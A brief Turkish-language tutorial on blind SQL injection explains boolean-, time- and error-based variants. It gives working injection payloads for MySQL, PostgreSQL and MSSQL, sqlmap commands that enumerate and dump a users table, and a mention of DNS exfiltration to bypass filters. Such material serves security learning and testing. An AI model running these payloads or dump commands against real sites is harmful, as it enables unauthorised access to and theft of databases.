Birçok SQL injection açığı "blind" türdedir - uygulama sorgu sonuçlarını veya hata detaylarını göstermez.
Blind SQL Injection Türleri
- Boolean-based: True/false koşullarla sonuç çıkarma
- Time-based: Zaman gecikmeleriyle bilgi edinme
- Error-based: Kontrollü hata mesajları ile veri çekme
Boolean-based Blind SQLi
Uygulamanın farklı davranışlarını gözlemleyerek bilgi edinme:
' AND SUBSTRING((SELECT DATABASE()),1,1) = 'a'
' AND SUBSTRING((SELECT DATABASE()),1,1) = 'b'
' AND (SELECT COUNT(*) FROM users) > 5
Time-based Blind SQLi
Zaman gecikmesi yaratarak koşulları test etme:
' AND IF(SUBSTRING((SELECT DATABASE()),1,1)='a', SLEEP(5), 0)
'; SELECT CASE WHEN SUBSTRING(DATABASE(),1,1)='a' THEN pg_sleep(5) END
'; IF (SUBSTRING(db_name(),1,1)='a') WAITFOR DELAY '00:00:05'
Automated Blind SQLi:
Sqlmap gibi araçlar blind injection'ı otomatikleştirir:
sqlmap -u "http://target.com/page?id=1" --blind --dbs
sqlmap -u "http://target.com/page?id=1" --blind -D database_name --tables
sqlmap -u "http://target.com/page?id=1" --blind -D db -T users --dump
Time-based blind injection'da network latency'sini hesaba katın. Baseline response time'ı belirledikten sonra anlamlı delay değerleri (5-10 saniye) kullanın.
OAST Teknikleri: DNS exfiltration, HTTP callbacks gibi out-of-band teknikler blind injection'da çok etkilidir ve network filtreleri bypass edebilir.